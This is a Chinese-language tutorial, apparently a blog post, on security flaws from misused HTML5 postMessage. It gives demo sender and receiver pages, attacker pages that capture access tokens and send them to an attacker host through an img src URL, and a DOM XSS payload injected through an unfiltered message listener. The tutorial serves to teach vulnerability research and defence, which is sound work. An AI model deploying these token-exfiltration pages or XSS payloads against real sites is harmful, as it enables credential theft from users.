1.什么是postMessage,它该如何使用?
在了解postMessage造成的各种安全问题前,我们还是来了解一下postMessage是一个什么东西。正如它的名字一样,它是用于发送消息的。这是HTML5中新增的一个解决跨域的方法。我们可以利用这个机制去跨域传递某些信息。而要使用postMessage也比较简单。我们写出下面两个demo用于测试:
发送消息的页面(sender.html),部署于
http://12x.xx.xxx.xxx:8071/
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Sender Page</title>
</head>
<body>
<h1>Sender Page</h1>
<script>
// 获取目标窗口
const targetWindow = window.open('http://12x.xx.xxx.xxx:8072/receiver.html');
// 等待目标窗口加载完成后再发送消息
targetWindow.addEventListener('load', function() {
// 向目标窗口发送消息
targetWindow.postMessage('Hello from sender!', 'http://12x.xx.xxx.xxx:8072');
});
</script>
</body>
</html>
接收消息的页面(receiver.html),部署于
http://12x.xx.xxx.xxx:8072/
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Receiver Page</title>
</head>
<body>
<h1>Receiver Page</h1>
<div id="messageDisplay"></div>
<script>
// 监听消息事件
window.addEventListener('message', function(event) {
// 显示接收到的消息
document.getElementById('messageDisplay').innerText = 'Message received: ' + event.data;
// 发送回执给发送消息的页面
event.source.postMessage('Message received!', event.origin);
});
</script>
</body>
</html>
上面的代码写的很清楚,sender页面会先打开receiver页面窗口,然后调用postMessage()方法对receiver窗口发送信息。而receiver使用addEventListener()方法监听postMessage()发送过来的消息。我们来展示一下上述代码的效果,当我们访问
http://12x.xx.xxx.xxx:8071/sender.html
会打开
http://12x.xx.xxx.xxx:8072/receiver.html
窗口,并且receiver.html窗口能够成功接收到发来的信息:
我们不妨设想一下这种机制会应用在什么场景。可以想到一个经典应用场景,那就是SSO统一身份认证。比方说我这么设计,用户登录SSO后,可以利用这种机制去给不同页面发送用户身份凭据,从而实现一个简单的统一认证。
我们反复强调,这是一个用于跨域传递信息的机制。一提到能跨域,安全从业者就要警觉起来了,因为同样用于跨域的还有两个机制——JSONP和CORS,而众所周知,JSONP和CORS如果使用不当,都是很容易造成各种劫持问题的。因此我们可以大胆猜想一下,postMessage会不会也存在类似的安全问题呢?
2.postMessage使用不当造成的敏感信息劫持其一
我们可以把上面的demo简单改造一番,就可以很方便的演示这种情况了!这里借助J0o1ey师傅写的演示靶场来说明。地址
http://10x.xxx.xxx.xxx:8010
注意看这里的代码,前端把user的token硬编码在HTML中,并且这个页面接受host参数,host参数会被传递到window.open()方法中打开目标页面。再往后,就是使用postMessage()往目标页面(targetWindow窗口)中发送accessToken。
在一般情况下,开发者肯定是希望host中传入一个可信的域名,去实现类似sso的效果。但是任何用户输入都不可信,针对上述代码,其实我们可以构造下面这样一个恶意的接收端hacker.html
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Receiver Page</title>
</head>
<body>
<h1>Receiver Page</h1>
<div id="accessTokenDisplay"></div>
<script>
window.addEventListener('message', function(event) {
// 检查消息来源是否是 http://10x.xxx.xxx.xxx:8010
if (event.origin === 'http://10x.xxx.xxx.xxx:8010') {//这里别加斜杠
// 检查消息中是否包含accessToken
if (event.data && event.data.accessToken) {
// 显示accessToken
document.getElementById('accessTokenDisplay').innerText = 'AccessToken: ' + event.data.accessToken;
} else {
console.error('No accessToken found in the message.');
}
} else {
console.error('Received message from untrusted origin:', event.origin);
}
});
</script>
</body>
</html>
我们将这个恶意页面部署在
http://12x.xx.xxx.xxx:8072/hacker.html
然后构造下面这个链接:
http://10x.xxx.xxx.xxx:8010/?host=http://12x.xx.xxx.xxx:8072/hacker.html
一旦用户点击了该链接,那么就会打开
http://12x.xx.xxx.xxx:8072/hacker.html
并往其中发送用户凭据:
当然,这还只是利用链中的一环,我们还可以再借助img的src之类的姿势,把用户的token进一步外带:
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Receiver Page</title>
</head>
<body>
<h1>Receiver Page</h1>
<div id="accessTokenDisplay"></div>
<script>
window.addEventListener('message', function(event) {
// 检查消息来源是否是 http://10x.xxx.xxx.xxx:8010
if (event.origin === 'http://10x.xxx.xxx.xxx:8010') {
// 检查消息中是否包含accessToken
if (event.data && event.data.accessToken) {
// 显示accessToken
document.getElementById('accessTokenDisplay').innerText = 'AccessToken: ' + event.data.accessToken;
var img=new Image();
img.src='http://12x.xx.xxx.xxx:8072/?userinfo='+event.data.accessToken;
document.getElementById('accessTokenDisplay').appendChild(img);
} else {
console.error('No accessToken found in the message.');
}
} else {
console.error('Received message from untrusted origin:', event.origin);
}
});
</script>
</body>
</html>
注意标红的部分,我们把信息借助img src属性外带出去:
此时,成功外带。
有时候,开发者会做一些校验,来验证目标是否可信任,比如下面这个demo:
但是很显然,这样也基本等于无用功,因为我们可以直接把设置一个目录,名字为tencent.com,把这个目录设置为网站主页,并且主页内容为上文提到的payload,还是可以绕过(和我们在CSRF绕过一文中提到的一些绕过思路非常类似,都是因为开发者的正则设计缺陷导致的绕过)。
3.postMessage使用不当造成的敏感信息劫持其二
在上面的案例中,我们基本了解了postMessage使用不当会造成的一些安全问题,在上面的案例中,情况基本上可以总结为下面的逻辑:
也即,网站会打开一个新窗口,这个新窗口的url是我们可控的,postMessage的第二个参数,也即发送信息的目标页面也是我们可控的。对于这种情况,对CORS跨域资源共享漏洞记得比较清楚的师傅会马上建立一个对应关系,因为这种情况和CORS跨域资源共享漏洞的典型情况是非常类似的:
都是因为信任了用户传入的“源”,直接从用户输入中获取,殊不知这些都是可以轻易控制的,一旦被攻击者利用就会造成危害。
那么同样地,在CORS跨域资源共享漏洞里,还有其他情况,也即Access-Control-Allow-Origin被设置为*。在postMessage中会不会也有类似的情况呢?
答案也是有的,我们借助下面的demo来演示。
Child.html内容如下
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>User info center</title>
<script type="text/JavaScript">
var userinfo='User‘s_Secret_access_token_here';
window.parent.postMessage(userinfo, "*"); //往parent窗口发送信息
</script>
</head>
<body> Web page from http://12x.xx.xxx.xxx:8071/ </body>
</html>
其部署于
http://12x.xx.xxx.xxx:8071/child.html
其中也放置了一个硬编码的用户token。并且其postMessage的第二个参数配置为*,也即信任任何页面。这种情况就非常危险了。攻击者可以构造下面这个恶意页面:
Attacker.html,部署于
http://12x.xx.xxx.xxx:8072/attacker.html
<script type="text/JavaScript">
onmessage = function( event ) {
if(event.origin == "http://12x.xx.xxx.xxx:8071"){
alert(event.data);
var img=new Image();
img.src='http://12x.xx.xxx.xxx:8072/?userinfo='+event.data;
document.getElementById("otherPage").appendChild(img);
}
};
</script>
<iframe lay-src="http://12x.xx.xxx.xxx:8071/child.html" id="otherPage"></iframe>
这个脚本的效果就是使用iframe打开http://12x.xx.xxx.xxx:8071/child.html页面,由于child.html中的逻辑是,往parent窗口中调用postMessage发送消息,这里也和第一种案例情况不同,第一种情况是前端主动地往targetWindow中发送信息,而这里使用parent实际上是被动地等待该页面被调用,一旦被调用就会发送信息,因此攻击者就会得逞。Attacker.html接到信息后,会进行弹窗,然后还是会调用img src属性把敏感信息进行外带。我们来模拟一下。
如果我们诱骗受害者访问
http://12x.xx.xxx.xxx:8072/attacker.html
受害者会看到一个弹窗,弹出了他的token,同时,其凭据被成功外带:
4.postMessage使用不当造成的其它安全问题
在上面的案例中,我们都是配置了一个恶意的接收者(或者说客户端),用于接受请求者(或者说服务端)发送的一些敏感信息。这又容易让人联想到和rmi server、rmi registry、rmi client的各种爱恨情仇,如果对JAVA安全有了解的师傅,应该知道上面这几个东西是可以互相打的,客户端可以攻击服务端,服务端也可以攻击客户端。那么负责发送消息的postMessage()和接收消息的addEventListener()能不能互打呢?我们写出如下demo:
Child.html,部署在
http://12x.xx.xxx.xxx:8071/child.html
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Web page from child.com</title>
<script type="text/JavaScript">
//event 参数中有 data 属性,就是父窗口发送过来的数据
window.addEventListener("message", function( event ) {
// 把父窗口发送过来的数据显示在子窗口中
document.getElementById("content").innerHTML+=event.data + "origin: " + event.origin+"<br/>";
}, false );
</script>
</head>
<body> Web page from http://12x.xx.xxx.xxx:8071/
<div id="content"></div>
</body>
</html>
可以看到,addEventListener()接受父窗口发送过来的数据,未经过滤和处理便直接输出在子窗口中,吃什么吐什么,符合XSS的基本特征,而且全程前端实现,还是非常危险的DOM型XSS。
此时,攻击者可以构造下面这样的攻击页面
Attacker.html,部署在
http://12x.xx.xxx.xxx:8072/attacker.html
<iframe lay-src="http://12x.xx.xxx.xxx:8071/child.html" id="otherPage"></iframe>
<script type="text/JavaScript">
var i = document.getElementById("otherPage");
i.onload = function(){
i.contentWindow .postMessage("<img src=x onerror='alert(111);'", "*");
}
</script>
我们直接发送一个XSS payload。此时,如果我们诱骗受害者访问
http://12x.xx.xxx.xxx:8072/attacker.html
即可触发XSS。
因此,如果你发现addEventListener()接受任意来源的信息,并且未经任何过滤直接输出在页面上,那么是大概率存在一个DOM XSS的。平时漏洞挖掘的时候除了注意postMessage()也可以多注意addEventListener()接受的消息是否有输出在页面上。甚至可以利用这个思想去反打攻击者。比方说在上面的案例中,我们写的用于攻击的payload其实就是存在风险的,因为我用innerText把接收到的信息直接输出在页面上了
如果攻击者做了一个类似Cookie盒子的东西,把接收到的用户token保存起来,并且以web的方式展示,其实也是非常危险的,因为另一边也完全可以构造一个恶意消息去攻击攻击者
(若上述消息被攻击者解码并在WEB页面中展示,就很有可能反打攻击者)
5.结语
综上,这算是非常有意思的一种姿势,以后如果再遇到类似的用于跨域传递信息的功能,都可以往这种方向去思考,能不能用于跨域劫持一些敏感信息。同时也再次印证了那句话,任何用户输入都是不可信的。实战中如果想发现postMessage滥用,可以尝试借助postmessage-tracker这个浏览器插件